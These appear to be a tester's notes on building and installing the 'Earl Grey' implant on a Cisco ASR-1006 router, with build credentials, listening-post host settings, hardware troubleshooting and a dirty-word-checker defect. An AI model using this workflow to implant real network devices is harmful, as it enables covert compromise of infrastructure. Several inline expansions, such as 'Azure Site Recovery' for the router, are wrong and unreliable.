Testing Notes:

EG-1.0.0

• On Earl-Grey build VM, login with eg_build / eg_build (su - 10sne1)
• Edit /home/eg-build/Earl_Grey_v1.0.0/common/config.h

  • vi config.h 

    • LP_HOST1 "X.X.X.XX (LVLT-GOGL-8-8-8[US])"

    • LP_HOST3 "127.0.0.1"

• cd /home/eg-build/Earl_Grey_v1.0.0/build/release/cd ../../..

  • make clean release

  • ls -l ./build/release/

• From ICON1 (Move build from eg-build VMVirtual Machine to ICON1 VMVirtual Machine)

  • Spoke to Will at the Bakery on the install failure above. They had me run the following on our ASR:

    • ASR-1006#ipc-con
      Enter interface slot to connect to: 0
      Enter interface cpu to connect to: 0
      %Slot 0 does not support IPCInterprocess Communications console to CPU 0.

    • This seems to indicate that there is an issue with config/hardware that will NOT allow the EGEarl Grey (Project name) implant to install
    • Waiting for callback from User #?  (0931 10/9)
  • After speaking with User #77639, it was determined that since I do not have a SPA interface card in slot 0/0, this delivery will not work with the current hardware configuration.
  • I removed the 5x1Gig SPA card from slot 0/2 and put it into 0/0 and was able to do a "ipc-con" "0 0" via the IOS

    • Restarted ASRAzure Site Recovery to try again....same result as previous.
• dw_checker.py
  • Using "-i" option in Makefiles to ignore matches from the dirty word checker.  Appears that the result of this is that if matches are found compilation will continue along, forcing user to look through make scrollback to see if there were any dirty word hits of concern.  They probably did this to get around false positive matches, but the result that it is very likely that legitimate matches will be missed ==> open defect
  • When running "make clean all", see the following:

    • python ../../utilities/dw_checker.py -m -i -d ../../utilities/dirtywords.txt c2_manager
      dw_checker hit on 1 dirty words

      Results:
